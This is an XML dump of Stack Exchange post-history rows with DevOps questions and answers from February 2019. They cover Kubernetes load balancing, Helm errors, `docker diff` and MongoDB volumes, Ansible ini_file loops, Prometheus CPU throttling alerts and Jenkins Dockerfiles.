  <row Id="20614" PostHistoryTypeId="5" PostId="6464" RevisionGUID="a8bdf7f4-f691-4bb9-8b2b-09962e310425" CreationDate="2019-02-26T06:30:08.917" UserId="6806" Comment="added 4 characters in body" Text="Calling containers cloud-ish is simply child-ish. :)&#xD;&#xA;&#xD;&#xA;Well, I think the author is trying to classify the containers on the basis of their life-times. I don't see that they have considered any form of Agile working methodology here. In SCRUM, for instance, you would not have the containers running more than a few days. A very aggressively agile team would probably push new containers several times a day, thereby destroying older containers. Also, I think the dataset is small for a concrete classification in this case.&#xD;&#xA;&#xD;&#xA;And here's to answering the question for the sake of it. :)&#xD;&#xA;&#xD;&#xA;&gt; Are those typically &quot;microservices&quot; or is this something different?&#xD;&#xA;&#xD;&#xA;Ans: Assuming that the data is correct, I would say the short-lived containers are mostly created for managing load. This could be microservices or asynchronous processing(where a container is killed after job is completed).&#xD;&#xA;&#xD;&#xA;&gt; Would you put applications that scale on demand as part of those &quot;cloud-ish&quot; services, or would they fall into the &quot;lightweight compute engine&quot; category instead?&#xD;&#xA;&#xD;&#xA;Ans: They can be either the Lightweight or the 'cloud-ish' servers depending upon what the load is computed to be." ContentLicense="CC BY-SA 4.0" />
  <row Id="20615" PostHistoryTypeId="2" PostId="6476" RevisionGUID="ae1b1eb3-bb76-42cc-8e90-d53016fe977f" CreationDate="2019-02-26T06:34:31.787" UserId="2368" Text="As we can see from [kube-state-metrics/docs/horizontalpodautoscaler-metrics.md](https://github.com/kubernetes/kube-state-metrics/blob/1dfe6681e9/docs/horizontalpodautoscaler-metrics.md)&#xD;&#xA;&#xD;&#xA;We just need to have kube-state-metrics along with HPA to start getting metrics in prometheus.&#xD;&#xA; " ContentLicense="CC BY-SA 4.0" />
  <row Id="20616" PostHistoryTypeId="2" PostId="6477" RevisionGUID="b1ec806e-b4d1-4ea6-9b11-ffbb9688b266" CreationDate="2019-02-26T08:36:58.820" UserId="12617" Text="Thanks for the down vote - nothing like a friendly forum is there :-)&#xD;&#xA;&#xD;&#xA;In case anyone else would like to benefit from my experience, the answer is &quot;kind of&quot;.&#xD;&#xA;&#xD;&#xA;Without a Greengrass kernel, you will not get many of the core features and benefits, but you can use JS/Node SDK to start migrating to AWS IoT.&#xD;&#xA;&#xD;&#xA;https://github.com/aws/aws-iot-device-sdk-js &#xD;&#xA;&#xD;&#xA;For me, the problem was that my ARM device has an armv61, and Greengrass requires a minimum armv71, which is frustrating for an ecosystem designed for very low power devices.&#xD;&#xA;&#xD;&#xA;But, at least I can base some of my back-end on the presumption that we will eventually move to updated hardware." ContentLicense="CC BY-SA 4.0" />
  <row Id="20617" PostHistoryTypeId="2" PostId="6478" RevisionGUID="7df0bc6e-40bf-4dcc-8d7a-629bede4f9fc" CreationDate="2019-02-26T08:41:54.683" UserId="11474" Text="I would like to know how could i setup a load balancer at the kubernetes level so my services points to the pods that has the more ram/cpu ressources available and not randomly.&#xD;&#xA;&#xD;&#xA;It would be co-existing with a Horizontal Pod Autoscaler.&#xD;&#xA;&#xD;&#xA;As of today i have an ingress pointing to my NodePort service&#xD;&#xA;&#xD;&#xA;It would be better if it could work localy with minikube without needing to be on a cloud provider.&#xD;&#xA;&#xD;&#xA;If not, im using OVH as my Kubernetes cloud provider.&#xD;&#xA;&#xD;&#xA;Thanks for any infos" ContentLicense="CC BY-SA 4.0" />
  <row Id="20618" PostHistoryTypeId="1" PostId="6478" RevisionGUID="7df0bc6e-40bf-4dcc-8d7a-629bede4f9fc" CreationDate="2019-02-26T08:41:54.683" UserId="11474" Text="Load balancing where ressources are available" ContentLicense="CC BY-SA 4.0" />
  <row Id="20619" PostHistoryTypeId="3" PostId="6478" RevisionGUID="7df0bc6e-40bf-4dcc-8d7a-629bede4f9fc" CreationDate="2019-02-26T08:41:54.683" UserId="11474" Text="&lt;kubernetes&gt;&lt;load-balance&gt;&lt;minikube&gt;&lt;ingress&gt;&lt;loadbalancing&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20620" PostHistoryTypeId="2" PostId="6479" RevisionGUID="6869a992-8a99-4a8a-86f6-98876ab49993" CreationDate="2019-02-26T09:06:12.227" UserId="12614" Text="If you don't mind running a few other services at your home, then I'd suggest you try Prometheus with Grafana, dockerd-exporter and AlertManager.&#xD;&#xA;&#xD;&#xA;[Prometheus][1] will store time series data collected from your [dockerd-exporter] [2], [Grafana][3] will display that data in a very nice way and [AlertManager][4] will allow you to configure alerts based on your needs.&#xD;&#xA;&#xD;&#xA;Check out a random screenshot I found on Google that presents the solution:&#xD;&#xA;[![enter image description here][5]][5]&#xD;&#xA;&#xD;&#xA;Also check out [swarmprom project][6].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://prometheus.io/docs/introduction/overview/&#xD;&#xA;  [2]: https://github.com/stefanprodan/dockerd-exporter&#xD;&#xA;  [3]: http://docs.grafana.org/v4.0/datasources/overview/&#xD;&#xA;  [4]: https://prometheus.io/docs/alerting/alertmanager/&#xD;&#xA;  [5]: https://i.stack.imgur.com/6TSL2.png&#xD;&#xA;  [6]: https://github.com/stefanprodan/swarmprom" ContentLicense="CC BY-SA 4.0" />
  <row Id="20622" PostHistoryTypeId="6" PostId="6478" RevisionGUID="8065265f-f889-4ed4-8056-d39edba74f25" CreationDate="2019-02-26T09:15:58.703" UserId="11474" Comment="edited tags" Text="&lt;kubernetes&gt;&lt;load-balance&gt;&lt;autoscaling&gt;&lt;ingress&gt;&lt;loadbalancing&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20626" PostHistoryTypeId="2" PostId="6481" RevisionGUID="3c998549-c261-461d-b294-b65288568c3b" CreationDate="2019-02-26T10:17:11.773" UserId="11179" Text="I know when you create a container the Docker engine adds a thin writable layer on top of the image layers. And all filesystem changes are recorded in that writable layer.&#xD;&#xA;&#xD;&#xA;I know I can use the `docker diff` command to show the changes made in a container's filesystem compared to the base image.&#xD;&#xA;&#xD;&#xA;But surprisingly, I cannot _see_ where data are saved in the following use case involving the official MongoDB image:&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker run -d --name mongo mongo:3.6.10&#xD;&#xA;    sh$ sudo docker exec -i mongo mongo &lt;&lt; EOF&#xD;&#xA;    &gt; db.test.insert({foo:&quot;bar&quot;})&#xD;&#xA;    &gt; EOF&#xD;&#xA;    MongoDB shell version v3.6.10&#xD;&#xA;    MongoDB server version: 3.6.10&#xD;&#xA;    WriteResult({ &quot;nInserted&quot; : 1 })&#xD;&#xA;    bye&#xD;&#xA;    &#xD;&#xA;    sh$ sudo docker stop mongo&#xD;&#xA;    sh$ sudo docker diff mongo&#xD;&#xA;    C /root&#xD;&#xA;    A /root/.dbshell&#xD;&#xA;    C /tmp&#xD;&#xA;&#xD;&#xA;`/tmp` is empty. And `/root/.dbshell` is just the history file for the mongo client. But I can't see any trace of the data files modified by the Mongo DB server. However, data were definitely stored:&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker start mongo&#xD;&#xA;    sh$ sudo docker exec -i mongo mongo &lt;&lt; EOF&#xD;&#xA;    &gt; db.test.find()&#xD;&#xA;    &gt; EOF&#xD;&#xA;    MongoDB shell version v3.6.10&#xD;&#xA;    MongoDB server version: 3.6.10&#xD;&#xA;    { &quot;_id&quot; : ObjectId(&quot;5c750d4cef8f9635fe459f06&quot;), &quot;foo&quot; : &quot;bar&quot; }&#xD;&#xA;    bye&#xD;&#xA;&#xD;&#xA;And I can find the data when I manually dump the files:&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker exec mongo bash -c 'tar c /data/db/collection*' | hexdump -C | grep foo&#xD;&#xA;    tar: Removing leading `/' from member names&#xD;&#xA;    0000e840  02 66 6f 6f 00 04 00 00  00 62 61 72 00 00 00 00  |.foo.....bar....|&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Why can't I find the data files modified by the MongoDB server using `docker diff`? Did I make some wrong assumption somewhere? Or did I misunderstood something regarding the way `docker diff` works?**&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20627" PostHistoryTypeId="1" PostId="6481" RevisionGUID="3c998549-c261-461d-b294-b65288568c3b" CreationDate="2019-02-26T10:17:11.773" UserId="11179" Text="Why `docker diff` does not see some file changes?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20628" PostHistoryTypeId="3" PostId="6481" RevisionGUID="3c998549-c261-461d-b294-b65288568c3b" CreationDate="2019-02-26T10:17:11.773" UserId="11179" Text="&lt;docker&gt;&lt;audit&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20629" PostHistoryTypeId="2" PostId="6482" RevisionGUID="9902ea79-8d2f-4e78-8cb6-6f48e4ad867d" CreationDate="2019-02-26T10:25:59.953" UserId="12203" Text="Using helm for deploying chart on my Kubernetes cluster, since one day, I can't deploy a new one or upgrading one existed.&#xD;&#xA;&#xD;&#xA;Indeed, each time I am using helm I have an error message telling me that it is not possible to install or upgrade ressources.&#xD;&#xA;&#xD;&#xA;If I run `helm install --name foo . -f values.yaml --namespace foo-namespace` I have this output:&#xD;&#xA;&#xD;&#xA;&gt; Error: release foo failed: the server could not find the requested&#xD;&#xA;&gt; resource&#xD;&#xA;&#xD;&#xA;If I run `helm upgrade --install foo . -f values.yaml --namespace foo-namespace` or `helm upgrade foo . -f values.yaml --namespace foo-namespace` I have this error:&#xD;&#xA;&#xD;&#xA;&gt; Error: UPGRADE FAILED: &quot;foo&quot; has no deployed releases&#xD;&#xA;&#xD;&#xA;I don't really understand why.&#xD;&#xA;&#xD;&#xA;This is my helm version:&#xD;&#xA;```&#xD;&#xA;Client: &amp;version.Version{SemVer:&quot;v2.12.3&quot;, GitCommit:&quot;eecf22f77df5f65c823aacd2dbd30ae6c65f186e&quot;, GitTreeState:&quot;clean&quot;}&#xD;&#xA;Server: &amp;version.Version{SemVer:&quot;v2.12.3&quot;, GitCommit:&quot;eecf22f77df5f65c823aacd2dbd30ae6c65f186e&quot;, GitTreeState:&quot;clean&quot;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;On my kubernetes cluster I have tiller deployed with the same version, when I run `kubectl describe pods tiller-deploy-84b... -n kube-system`:&#xD;&#xA;```&#xD;&#xA;Name:               tiller-deploy-84b8...&#xD;&#xA;Namespace:          kube-system&#xD;&#xA;Priority:           0&#xD;&#xA;PriorityClassName:  &lt;none&gt;&#xD;&#xA;Node:               k8s-worker-1/167.114.249.216&#xD;&#xA;Start Time:         Tue, 26 Feb 2019 10:50:21 +0100&#xD;&#xA;Labels:             app=helm&#xD;&#xA;                    name=tiller&#xD;&#xA;                    pod-template-hash=84b...&#xD;&#xA;Annotations:        &lt;none&gt;&#xD;&#xA;Status:             Running&#xD;&#xA;IP:                 &lt;IP_NUMBER&gt;&#xD;&#xA;Controlled By:      ReplicaSet/tiller-deploy-84b8...&#xD;&#xA;Containers:&#xD;&#xA;  tiller:&#xD;&#xA;    Container ID:   docker://0302f9957d5d83db22...&#xD;&#xA;    Image:          gcr.io/kubernetes-helm/tiller:v2.12.3&#xD;&#xA;    Image ID:       docker-pullable://gcr.io/kubernetes-helm/tiller@sha256:cab750b402d24d...&#xD;&#xA;    Ports:          44134/TCP, 44135/TCP&#xD;&#xA;    Host Ports:     0/TCP, 0/TCP&#xD;&#xA;    State:          Running&#xD;&#xA;      Started:      Tue, 26 Feb 2019 10:50:28 +0100&#xD;&#xA;    Ready:          True&#xD;&#xA;    Restart Count:  0&#xD;&#xA;    Liveness:       http-get http://:44135/liveness delay=1s timeout=1s period=10s #success=1 #failure=3&#xD;&#xA;    Readiness:      http-get http://:44135/readiness delay=1s timeout=1s period=10s #success=1 #failure=3&#xD;&#xA;    Environment:&#xD;&#xA;      TILLER_NAMESPACE:    kube-system&#xD;&#xA;      TILLER_HISTORY_MAX:  0&#xD;&#xA;    Mounts:&#xD;&#xA;      /var/run/secrets/kubernetes.io/serviceaccount from helm-token-... (ro)&#xD;&#xA;Conditions:&#xD;&#xA;  Type              Status&#xD;&#xA;  Initialized       True &#xD;&#xA;  Ready             True &#xD;&#xA;  ContainersReady   True &#xD;&#xA;  PodScheduled      True &#xD;&#xA;Volumes:&#xD;&#xA;  helm-token-...:&#xD;&#xA;    Type:        Secret (a volume populated by a Secret)&#xD;&#xA;    SecretName:  helm-token-...&#xD;&#xA;    Optional:    false&#xD;&#xA;QoS Class:       BestEffort&#xD;&#xA;Node-Selectors:  &lt;none&gt;&#xD;&#xA;Tolerations:     node.kubernetes.io/not-ready:NoExecute for 300s&#xD;&#xA;                 node.kubernetes.io/unreachable:NoExecute for 300s&#xD;&#xA;Events:&#xD;&#xA;  Type    Reason     Age   From                   Message&#xD;&#xA;  ----    ------     ----  ----                   -------&#xD;&#xA;  Normal  Scheduled  26m   default-scheduler      Successfully assigned kube-system/tiller-deploy-84b86cbc59-kxjqv to worker-1&#xD;&#xA;  Normal  Pulling    26m   kubelet, k8s-worker-1  pulling image &quot;gcr.io/kubernetes-helm/tiller:v2.12.3&quot;&#xD;&#xA;  Normal  Pulled     26m   kubelet, k8s-worker-1  Successfully pulled image &quot;gcr.io/kubernetes-helm/tiller:v2.12.3&quot;&#xD;&#xA;  Normal  Created    26m   kubelet, k8s-worker-1  Created container&#xD;&#xA;  Normal  Started    26m   kubelet, k8s-worker-1  Started container&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Is someone have faced the same issue ?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20630" PostHistoryTypeId="1" PostId="6482" RevisionGUID="9902ea79-8d2f-4e78-8cb6-6f48e4ad867d" CreationDate="2019-02-26T10:25:59.953" UserId="12203" Text="Helm install or upgrade release failed on Kubernetes cluster: the server could not find the requested resource or UPGRADE FAILED: no deployed releases" ContentLicense="CC BY-SA 4.0" />
  <row Id="20631" PostHistoryTypeId="3" PostId="6482" RevisionGUID="9902ea79-8d2f-4e78-8cb6-6f48e4ad867d" CreationDate="2019-02-26T10:25:59.953" UserId="12203" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;deployment&gt;&lt;continuous-deployment&gt;&lt;helm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20632" PostHistoryTypeId="2" PostId="6483" RevisionGUID="2459cc5e-72fc-4aa4-91f4-cd78e9a7cfed" CreationDate="2019-02-26T13:03:53.623" UserId="11179" Text="I don't know how I missed that, but the mongo image [by default stores data in a Docker managed volume](https://hub.docker.com/_/mongo#where-to-store-data), and not in the container writable layer as I assumed it initially." ContentLicense="CC BY-SA 4.0" />
  <row Id="20633" PostHistoryTypeId="2" PostId="6484" RevisionGUID="d37a8de9-6c1a-42d4-a090-9049ee8ead9a" CreationDate="2019-02-26T14:53:07.623" UserId="12635" Text="I am trying to set the sendmail_path to use Mailhog in all php.ini files on a server with multiple versions of PHP installed for PHP FPM.&#xD;&#xA;&#xD;&#xA;Why is the following snippet is not working?&#xD;&#xA;&#xD;&#xA;    - hosts: localhost&#xD;&#xA;      tasks:&#xD;&#xA;        - name: Find ini files&#xD;&#xA;          find:&#xD;&#xA;            paths: /home/myuser/projects/infra/php&#xD;&#xA;            file_type: file&#xD;&#xA;            recurse: Yes&#xD;&#xA;            patterns: &quot;*php.ini&quot;&#xD;&#xA;          register: files_matched&#xD;&#xA;    &#xD;&#xA;        - name: Debug files_matched&#xD;&#xA;          debug:&#xD;&#xA;            var: files_matched.files&#xD;&#xA;    &#xD;&#xA;        - name: Debug files_matched loop&#xD;&#xA;          debug:&#xD;&#xA;            var: item.path&#xD;&#xA;          loop: &quot;{{ files_matched.files|flatten(levels=1) }}&quot;&#xD;&#xA;          loop_control:&#xD;&#xA;            label: &quot;{{ item.path }}&quot;&#xD;&#xA;    &#xD;&#xA;        - name: Ensure &quot;sendmail_path=/opt/mailhog/mhsendmail is in section &quot;[mail function]&quot;&#xD;&#xA;          ini_file:&#xD;&#xA;            path: item.path&#xD;&#xA;            section: &quot;mail function&quot;&#xD;&#xA;            option: sendmail_path&#xD;&#xA;            value: /opt/mailhog/mhsendmail&#xD;&#xA;            mode: 0644&#xD;&#xA;            backup: no&#xD;&#xA;          loop: &quot;{{ files_matched.files|flatten(levels=1) }}&quot;&#xD;&#xA;          loop_control:&#xD;&#xA;            label: &quot;{{ item.path }}&quot;&#xD;&#xA;&#xD;&#xA;The error I am getting is essentially **No such file or directory: ''** on the `item.path` variable.&#xD;&#xA;&#xD;&#xA;    An exception occurred during task execution. To see the full traceback, use -vvv. The error was: OSError: [Errno 2] No such file or directory: ''&#xD;&#xA;    failed: [localhost] (item=/home/myuser/projects/infra/php/7.0/fpm/php.ini) =&gt; {&quot;changed&quot;: false, &quot;item&quot;: {&quot;atime&quot;: 1551116700.7761922, &quot;ctime&quot;: 1551115509.596934, &quot;dev&quot;: 66309, &quot;gid&quot;: 1000, &quot;gr_name&quot;: &quot;myuser&quot;, &quot;inode&quot;: 5640238, &quot;isblk&quot;: false, &quot;ischr&quot;: false, &quot;isdir&quot;: false, &quot;isfifo&quot;: false, &quot;isgid&quot;: false, &quot;islnk&quot;: false, &quot;isreg&quot;: true, &quot;issock&quot;: false, &quot;isuid&quot;: false, &quot;mode&quot;: &quot;0644&quot;, &quot;mtime&quot;: 1544171307.0, &quot;nlink&quot;: 1, &quot;path&quot;: &quot;/home/myuser/projects/infra/php/7.0/fpm/php.ini&quot;, &quot;pw_name&quot;: &quot;myuser&quot;, &quot;rgrp&quot;: true, &quot;roth&quot;: true, &quot;rusr&quot;: true, &quot;size&quot;: 70999, &quot;uid&quot;: 1000, &quot;wgrp&quot;: false, &quot;woth&quot;: false, &quot;wusr&quot;: true, &quot;xgrp&quot;: false, &quot;xoth&quot;: false, &quot;xusr&quot;: false}, &quot;module_stderr&quot;: &quot;Traceback (most recent call last):\n  File \&quot;/home/myuser/.ansible/tmp/ansible-tmp-1551192384.86-125024514722793/AnsiballZ_ini_file.py\&quot;, line 113, in &lt;module&gt;\n    _ansiballz_main()\n  File \&quot;/home/myuser/.ansible/tmp/ansible-tmp-1551192384.86-125024514722793/AnsiballZ_ini_file.py\&quot;, line 105, in _ansiballz_main\n    invoke_module(zipped_mod, temp_path, ANSIBALLZ_PARAMS)\n  File \&quot;/home/myuser/.ansible/tmp/ansible-tmp-1551192384.86-125024514722793/AnsiballZ_ini_file.py\&quot;, line 48, in invoke_module\n    imp.load_module('__main__', mod, module, MOD_DESC)\n  File \&quot;/tmp/ansible_ini_file_payload_yVPEa4/__main__.py\&quot;, line 342, in &lt;module&gt;\n  File \&quot;/tmp/ansible_ini_file_payload_yVPEa4/__main__.py\&quot;, line 322, in main\n  File \&quot;/tmp/ansible_ini_file_payload_yVPEa4/__main__.py\&quot;, line 151, in do_ini\n  File \&quot;/usr/lib/python2.7/os.py\&quot;, line 157, in makedirs\n    mkdir(name, mode)\nOSError: [Errno 2] No such file or directory: ''\n&quot;, &quot;module_stdout&quot;: &quot;&quot;, &quot;msg&quot;: &quot;MODULE FAILURE\nSee stdout/stderr for the exact error&quot;, &quot;rc&quot;: 1}&#xD;&#xA;&#xD;&#xA;As you can see from the error and debug output the file path should not be empty.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20634" PostHistoryTypeId="1" PostId="6484" RevisionGUID="d37a8de9-6c1a-42d4-a090-9049ee8ead9a" CreationDate="2019-02-26T14:53:07.623" UserId="12635" Text="Looping through found files in Ansible" ContentLicense="CC BY-SA 4.0" />
  <row Id="20635" PostHistoryTypeId="3" PostId="6484" RevisionGUID="d37a8de9-6c1a-42d4-a090-9049ee8ead9a" CreationDate="2019-02-26T14:53:07.623" UserId="12635" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20636" PostHistoryTypeId="2" PostId="6485" RevisionGUID="114fae9c-dfb3-4ad8-bdd4-3abd42e0457b" CreationDate="2019-02-26T15:04:14.870" UserId="12635" Text="OK. The answer was simple. I needed to template the item.path. I guess this is a beginner mistake.&#xD;&#xA;&#xD;&#xA;    - hosts: localhost&#xD;&#xA;      tasks:&#xD;&#xA;        - name: Find ini files&#xD;&#xA;          find:&#xD;&#xA;            paths: /home/lslade/projects/infra/php&#xD;&#xA;            file_type: file&#xD;&#xA;            recurse: Yes&#xD;&#xA;            patterns: &quot;*php.ini&quot;&#xD;&#xA;          register: files_matched&#xD;&#xA;&#xD;&#xA;        - name: Debug files_matched&#xD;&#xA;          debug:&#xD;&#xA;            var: files_matched.files&#xD;&#xA;&#xD;&#xA;        - name: Debug files_matched loop&#xD;&#xA;          debug:&#xD;&#xA;            var: item.path&#xD;&#xA;          loop: &quot;{{ files_matched.files|flatten(levels=1) }}&quot;&#xD;&#xA;          loop_control:&#xD;&#xA;            label: &quot;{{ item.path }}&quot;&#xD;&#xA;&#xD;&#xA;        - name: Ensure &quot;sendmail_path=/opt/mailhog/mhsendmail is in section &quot;[mail function]&quot;&#xD;&#xA;          ini_file:&#xD;&#xA;            path: &quot;{{ item.path }}&quot;&#xD;&#xA;            section: &quot;mail function&quot;&#xD;&#xA;            option: sendmail_path&#xD;&#xA;            value: /opt/mailhog/mhsendmail&#xD;&#xA;            mode: 0644&#xD;&#xA;            backup: no&#xD;&#xA;          loop: &quot;{{ files_matched.files|flatten(levels=1) }}&quot;&#xD;&#xA;          loop_control:&#xD;&#xA;            label: &quot;{{ item.path }}&quot;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20637" PostHistoryTypeId="2" PostId="6486" RevisionGUID="2c67d13a-8e4b-4e79-92a2-c9eb17173ef1" CreationDate="2019-02-26T15:16:35.727" UserId="11179" Text="According to [that StackOverflow answer](https://stackoverflow.com/a/42855234/2363712):&#xD;&#xA;&#xD;&#xA;&gt; Yes you can add same location as a volume to many docker containers.&#xD;&#xA;&#xD;&#xA;But I read the [Docker Volume documention](https://docs.docker.com/storage/volumes/) and I can't find where it is said a _local_ volume can safely be shared between several containers on the same host. Could someone point me to an official statement regarding that? " ContentLicense="CC BY-SA 4.0" />
  <row Id="20638" PostHistoryTypeId="1" PostId="6486" RevisionGUID="2c67d13a-8e4b-4e79-92a2-c9eb17173ef1" CreationDate="2019-02-26T15:16:35.727" UserId="11179" Text="Where is it said I can safely the same local volume to multiple docker containers?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20639" PostHistoryTypeId="3" PostId="6486" RevisionGUID="2c67d13a-8e4b-4e79-92a2-c9eb17173ef1" CreationDate="2019-02-26T15:16:35.727" UserId="11179" Text="&lt;docker&gt;&lt;volume&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20647" PostHistoryTypeId="2" PostId="6489" RevisionGUID="ae4260a3-816c-4170-9a10-dfb7e92b023e" CreationDate="2019-02-26T20:53:00.457" UserId="4856" Text="Do not trigger Build 2 automatically from Build 1. Instead add a last step to Release 1 to queue Build 2. There are a few ways to do it, e.g. https://stackoverflow.com/questions/52821204/how-to-queue-build-pipeline-as-task-from-release-pipeline" ContentLicense="CC BY-SA 4.0" />
  <row Id="20652" PostHistoryTypeId="50" PostId="5853" RevisionGUID="d9888d6f-85e0-4f41-8756-5cd294bd3708" CreationDate="2019-02-27T03:01:55.273" UserId="-1" />
  <row Id="20653" PostHistoryTypeId="2" PostId="6491" RevisionGUID="4d9f804e-4a51-4f78-ac65-38348229a37d" CreationDate="2019-02-27T05:56:32.567" UserId="6806" Text="I wrote a bit about this on my [LinkedIn post][1] which was based on the [article][3] by [Andrea Passwater][2].&#xD;&#xA;&#xD;&#xA;In brief, **do not go serverless, if**&#xD;&#xA;&#xD;&#xA; 1. You want complete control of the infrastructure and latest system patches&#xD;&#xA; 2. If your microservices are complex, and thus have some latency in starting up and computing output&#xD;&#xA; 3. You are not prepared for a heavy reliance on event-based architecture to monitor systems&#xD;&#xA;&#xD;&#xA;  [1]: https://www.linkedin.com/feed/update/urn:li:activity:6505772730418233344&#xD;&#xA;  [2]: https://serverless.com/author/andreapasswater/&#xD;&#xA;  [3]: https://serverless.com/blog/when-why-not-use-serverless" ContentLicense="CC BY-SA 4.0" />
  <row Id="20654" PostHistoryTypeId="2" PostId="6492" RevisionGUID="a7ede3b1-e9a9-4d02-ab0e-3d80b501839d" CreationDate="2019-02-27T09:22:22.767" UserId="12543" Text=" 1. There are two ways to run Jenkins builds.&#xD;&#xA;    1. The build node executes the build. In that case, all tools the build needs have to be installed on that node/slave.&#xD;&#xA;    2. The build is run inside a Docker container (with a build node as host). In that case, the Docker image for the build needs to contain all the tools the build needs, but the Jenkins node doesn't have to.&#xD;&#xA; 2. &quot;Kill and run again&quot; as in `docker stop $name; docker rm $name; docker run ...`? Sure, that deletes all data local to that container.&#xD;&#xA;&#xD;&#xA;	- If you want to stop and restart the same container, use `docker stop` and `docker start` instead.&#xD;&#xA;    - If you want to carry data over from one container to another, use [volumes](https://docs.docker.com/storage/volumes/).&#xD;&#xA; 3. If you want to go with 1.1 and you need all your Jenkins nodes to come equipped with a certain set of tools (such as Docker, npm, ...), create your own Docker image for them." ContentLicense="CC BY-SA 4.0" />
  <row Id="20660" PostHistoryTypeId="2" PostId="6494" RevisionGUID="4d2d7b1a-d7f8-4869-8f31-5808b8e778c7" CreationDate="2019-02-27T14:57:28.043" UserId="12655" Text="I have installed Prometheus to monitor my installation and it is frequently raising alerts about CPU throttling.&#xD;&#xA;&#xD;&#xA;The Prometheus alert rules to identify this alert is :&#xD;&#xA;&#xD;&#xA;    alert: CPUThrottlingHigh&#xD;&#xA;    expr: 100&#xD;&#xA;      * sum by(container_name, pod_name, namespace) (increase(container_cpu_cfs_throttled_periods_total{container_name!=&quot;&quot;}[5m]))&#xD;&#xA;      / sum by(container_name, pod_name, namespace) (increase(container_cpu_cfs_periods_total[5m]))&#xD;&#xA;      &gt; 25&#xD;&#xA;    for: 15m&#xD;&#xA;&#xD;&#xA;If I look at one of the pods identified by this alert, it does not seem to have any reason to throttle :&#xD;&#xA;&#xD;&#xA;    $ kubectl top pod -n monitoring my-pod&#xD;&#xA;    NAME            CPU(cores)   MEMORY(bytes)   &#xD;&#xA;    my-pod          0m           6Mi&#xD;&#xA;&#xD;&#xA;This pod has one container with these resources setup :&#xD;&#xA;&#xD;&#xA;    Limits:&#xD;&#xA;      cpu:     100m&#xD;&#xA;      memory:  128Mi&#xD;&#xA;    Requests:&#xD;&#xA;      cpu:     25m&#xD;&#xA;      memory:  64Mi&#xD;&#xA;&#xD;&#xA;And the node that is hosting this pod is not under any heavy cpu use :&#xD;&#xA;&#xD;&#xA;    $ kubectl -n monitoring top node aks-agentpool-node-1&#xD;&#xA;    NAME                       CPU(cores)   CPU%      MEMORY(bytes)   MEMORY%   &#xD;&#xA;    aks-agentpool-node-1       853m         21%       11668Mi         101%&#xD;&#xA;&#xD;&#xA;On grafana, if I look at the chart for this pod, it never goes above `0,000022` of cpu usage&#xD;&#xA;&#xD;&#xA;Why is it throttling ?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20661" PostHistoryTypeId="1" PostId="6494" RevisionGUID="4d2d7b1a-d7f8-4869-8f31-5808b8e778c7" CreationDate="2019-02-27T14:57:28.043" UserId="12655" Text="Prometheus alert CPUThrottlingHigh raised but monitoring does not show it" ContentLicense="CC BY-SA 4.0" />
  <row Id="20662" PostHistoryTypeId="3" PostId="6494" RevisionGUID="4d2d7b1a-d7f8-4869-8f31-5808b8e778c7" CreationDate="2019-02-27T14:57:28.043" UserId="12655" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;monitoring&gt;&lt;prometheus&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20663" PostHistoryTypeId="50" PostId="6129" RevisionGUID="b62f9fbe-1d76-4a40-9173-84f484a05bf9" CreationDate="2019-02-27T17:01:05.397" UserId="-1" />
  <row Id="20667" PostHistoryTypeId="50" PostId="6130" RevisionGUID="5845fc63-ca41-425e-880f-7c78237ab26d" CreationDate="2019-02-28T09:01:05.173" UserId="-1" />
  <row Id="20668" PostHistoryTypeId="50" PostId="4693" RevisionGUID="2235ae0c-9f7c-425d-861b-6ea73657e4e5" CreationDate="2019-02-28T10:03:05.623" UserId="-1" />
  <row Id="20673" PostHistoryTypeId="2" PostId="6497" RevisionGUID="6f805983-d67b-4cb8-a0be-61da5d65644c" CreationDate="2019-02-28T13:16:39.100" UserId="12614" Text="It seems to me that your Dockerfile should be looking like this:&#xD;&#xA;&#xD;&#xA;    FROM ~~container_on_private_registry~~&#xD;&#xA;    USER root&#xD;&#xA;    WORKDIR /root&#xD;&#xA;    ARG jenkins_jar_file=jenkins.jar&#xD;&#xA;    ENV jenkins_jar_file ${jenkins_jar_file}&#xD;&#xA;    RUN mkdir -p /root/app&#xD;&#xA;    COPY ${jenkins_jar_file} /root/app/app.jar&#xD;&#xA;    ENTRYPOINT [&quot;java&quot;, &quot;-jar&quot;, &quot;/root/app/app.jar&quot;]&#xD;&#xA;&#xD;&#xA;**Explanation:**&#xD;&#xA;&#xD;&#xA;We tell the Dockerfile to let Docker know, that it expects a variable named jenkins_jar_file to be passed to it during the build. Subsequent lines can reference that variable with a dollar notation.&#xD;&#xA;&#xD;&#xA;Also when you build the image, use --no-cache so it will re-build all the layers of the image." ContentLicense="CC BY-SA 4.0" />
